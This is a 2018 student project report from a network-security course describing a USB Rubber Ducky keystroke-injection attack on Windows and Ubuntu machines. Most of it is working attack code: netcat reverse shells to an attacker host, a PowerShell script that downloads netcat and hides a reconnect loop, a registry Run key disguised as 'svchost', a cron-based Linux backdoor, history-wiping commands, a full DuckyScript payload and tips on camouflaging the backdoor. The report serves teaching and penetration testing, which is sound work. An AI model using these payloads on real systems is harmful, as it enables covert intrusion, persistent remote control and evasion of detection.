USB Rubber Ducky

Network Security II - Project 3

Fredrik Helgesson and Henrik Nero

Blekinge Institute of Technology
Sweden
13 Mars 2018

Contents

1 Introduction

The RubberDucky is a keystroke injection tool disguised as a normal USB-drive and is used both among hackers and penetrationtesters. By mimicing a regular keyboard the RubberDucky can send keystrokes to the target machine. These keystrokes can contain all different kinds of payloads which of sum we will look closer at during this project. To write these payloads the scripting language "DuckyScript" is used which is simple to understand and program.

The aim of this project was to quickly get a foothold in a computer by using the RubberDucky. After the initial foothold is acquired, further exploitation can be made through a backdoor from a remote location. The upside to this approach is that after the backdoor is acquired every computer can be examined individually and exploited accordingly in the calm office of our own home. By quickly creating a Netcat session from the target device to a preconfigured server, a reverse shell was acquired. The Rubber Ducky was programmed to work on both Linux and Windows systems to increase versatility.

Throughout the report the word server is referring to the attackers computer listening for incoming Netcat session requests.

2 Method

2.1 Exploitation phase

During this phase the RubberDucky is used to quickly start a netcat reverse shell from both a Windows and a Ubuntu machine. The complete DuckyScript used can be seen in the appendix in Figure 4.3. On the server the command below is used before attempting the breach a system to listen for incoming netcat sessions on port 3322.

```
nc -vv -n -l -p 3322
```

Figure 1: Listen for incoming netcat sessions - Server

2.1.1 Create reverse shell for Ubuntu machine

To open a reverse shell the the following command is executed using the RubberDucky. [1]

```
rm -f .bagpipe && mknod .bagpipe p && nc <ATTACKER_IP> <ATTACKER_PORT>\
0<.bagpipe | /bin/bash 1>.bagpipe &
```

Figure 2: Open Reverse Shell - Ubuntu

2.1.2 Create reverse shell session for Windows

Firstly the USB RubberDucky is used to start up a powershell session. In the powershell the following command is entered to download and extract netcat software on the host and then connect it to the server.

```
mkdir nc;
Invoke-WebRequest https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip -OutFile _package.zip;
Expand-Archive .\_package.zip -DestinationPath .\nc;
echo 'while(1 -eq 1){start -WindowStyle Hidden ".\nc\nc.exe"
    "-e .\cmd.exe <ATTACKER_IP> <ATTACKER_PORT>"; sleep 20}' > '.\svctest.ps1';
Set-ExecutionPolicy RemoteSigned -Force;
powershell.exe start -WindowStyle Hidden powershell.exe .\svctest.ps1;
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svchost /t REG_SZ
```

Figure 3: Powershell script for creating backdoor

2.2 Post Exploitation phase

During this phase we want to get persistency as fast as possible to mitigate the risk of losing the target without having a backdoor. Persistence is acquired during the exploitation phase on windows systems but not on Linux systems.

2.2.1 Linux systems

To get a persistent backdoor in the Linux system cron was used. By creating a crontab and schedule a command to run a script on the system every X minutes. The script called "Fiddle" contains two simple steps. Firstly the script confirms that a netcat session to the server is not currently established, if not, the script runs a command to establish the connection [2].. The script below is run inside the reverse shell to create the "Fiddle"-script and to schedule a crontab entry.

```
echo "#! /bin/bash
if [ '/bin/ps aux | /bin/grep /bin/nc | /usr/bin/wc -l' != 1 ]
        then
    rm -f .bagpipe
    && mknod .bagpipe p
    && nc <ATTACKER_IP> <ATTACKER_PORT> 0<.bagpipe | /bin/bash 1>.bagpipe &
    rm .bagpipe && history -cw
fi" > /home/$USER/Music/.fiddle
&& chmod +x /home/$USER/Music/.fiddle
&& crontab -l > mycron
&& echo "* * * * * /home/$USER/Music/.fiddle" >> mycron
&& crontab mycron
```

Figure 4: Create fiddle-script and crontab entry

Reverse Shell Versatility The possibilities with a reverse shell on a target system are endless. The problems are that executing commands through a reverse shell can be difficult since there is no output to be had, this means that possible errors from the input command will not be returned. Simple key-combinations to navigate in bash such as CTRL+C can not be used either. This has the negative effect that for example a monitoring command such as **top** can not be canceled and text editors such as **Vim** or **Nano** can not be used either since they require a key combination to exit. To mitigate this issue the reverse shell can be improved. By configuring the reverse shell on the server side and the open shell from the Linux system a much more versatile Bash terminal can be created with all the features that comes with Bash for example **TAB** to autofill and colorschemes for different types of files. [3]

```
# Reverse shell
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

# Server
stty raw -echo
fg

# Reverse shell
reset
export SHELL=bash
export TERM=xterm-256color
```

Figure 5: Reverse Shell Versatility

2.2.2 Windows systems

To create a persistent backdoor in Windows systems the Window Registry is used. By creating a new subkey under the key below. In the subkey the powershell script executed during exploitation is used The subkey is created with a

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
```

Figure 6: Windows Registry key

value of our choice, a program can be set to run automatically at startup of the Windows machine. In this case a script is run at startup which is used to make sure that the machine is always connected to the server, similar to the "fiddle"-script used for Linux. The script is essentially a loop that tries to connect to the server every X seconds. The subkey is created with the name "svchost" and a value of the path to the script by using the command below.

```
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/v svchost /t REG_SZ /d "powershell.exe C:\Windows\system32\AppXSvc.ps1" /f
```

Figure 7: Command for adding Windows Registry subkey

3 Result

The result of the project was a multi-platform tool to create a reverse shell session to an attacker. After the initial breach a persistent backdoor was created by running a script that constantly tries to establish a connection to the server.

4 Discussion

4.1 Multi-platform approach

To be able to use the RubberDucky on multiple platforms timing is currently used. The keystroke combinations are currently ran in a precise order to make sure that when for example commands are ran for Linux they do not have any unwanted effect on a Windows system and vice versa. The reason for this approach is that the RubberDucky system has no support for OS detection. Similar tools has a feature that saves the handshake created when the fake USB is plugged into the target system to determine the operating system. Depending on the result different payloads can be used. A feature like this would reduce the time the RubberDucky needs before the payload is completely ran and would therefore improve the effectiveness of the keystroke injection tool.

For exploiting the windows system it would be preferred to use a already installed software on the system, though to make it work with our server we decided to use netcat for both operating systems. Instead of making it work on the exploited system we could make the server handle calls differently for windows and linux machines and by doing so it might be possible to make the exploiting tool less keen to error.

4.2 Post Exploitation Possibilities

The possibilities of the post exploitation phase of this project are limitless. By having access to a reverse shell there is basically access to the whole system depending on the privileges of the reverse shell. By starting the Netcat session from an administrator instance of powershell the reverse shell has administrator access to the Windows system. To have full access to the Linux system there is a need for privilege escalation, for example by breaching the sudo password.

4.3 Camouflaging the attack

If this attack would be used outside the test environment some camouflaging of the payload would improve the backdoor heavily. The files and processes run are currently not hidden in any way and are quite easy to find. By placing the files in system folders, naming the files and processes similar to system files/process names and so on the attack can be well masked. There are also more intricate ways to camouflage the attack based on the system, for example by running the processes as services in Windows they are much more hard to pinpoint for a user of the system.

References

[1] Tim Tomes, *7 Linux Shells Using Built-in Tools*, `https://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/`, (Accessed: 2018-03-05).

[2] Kauê Doretto, *Siths use Ubuntu (part 1 of 3)*, `https://ctftime.org/writeup/9018`, (Accessed: 2018-02-26).

[3] ropnop, *Upgrading simple shells to fully interactive TTYs* `https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/` (Accessed: 2018-03-05).

Appendix

```
DELAY 400
GUI d
GUI x
UP
REPEAT 7
ENTER
DELAY 250
ALT j
ALT y
CTRL-ALT t
DELAY 250
STRING resize -s 1 1
ENTER
STRING mode con cols=20 lines=1;
ENTER
STRING rm -f .bagpipe && mknod .bagpipe p && nc <
    ATTACKER_IP> <ATTACKER_PORT> 0<.bagpipe | /bin/bash
    1>.bagpipe &
ENTER
DELAY 50
STRING rm .bagpipe && history -cw
ENTER
DELAY 50
STRING mkdir nc; Invoke-WebRequest https://eternallybored
    .org/misc/netcat/netcat-win32-1.12.zip -OutFile
    _package.zip; Expand-Archive .\_package.zip -
    DestinationPath .\nc; echo 'while(1 -eq 1){start -
    WindowStyle Hidden ".\nc\nc.exe" "-e .\cmd.exe <
    ATTACKER_IP> <ATTACKER_PORT>"; sleep 20}' > '.\svctest
    .ps1'; Set-ExecutionPolicy RemoteSigned -Force;
    powershell.exe start -WindowStyle Hidden powershell.
    exe .\svctest.ps1; REG ADD HKEY_LOCAL_MACHINE\SOFTWARE
    \Microsoft\Windows\CurrentVersion\Run /v svchost /t
    REG_SZ /d "powershell.exe start -WindowStyle Hidden
    powershell.exe C:\WINDOWS\system32\svctest.ps1" /f;
    del (Get-PSReadLineOption).HistorySavePath
ENTER
DELAY 50
STRING exit
ENTER
```

Figure 8: DuckyScript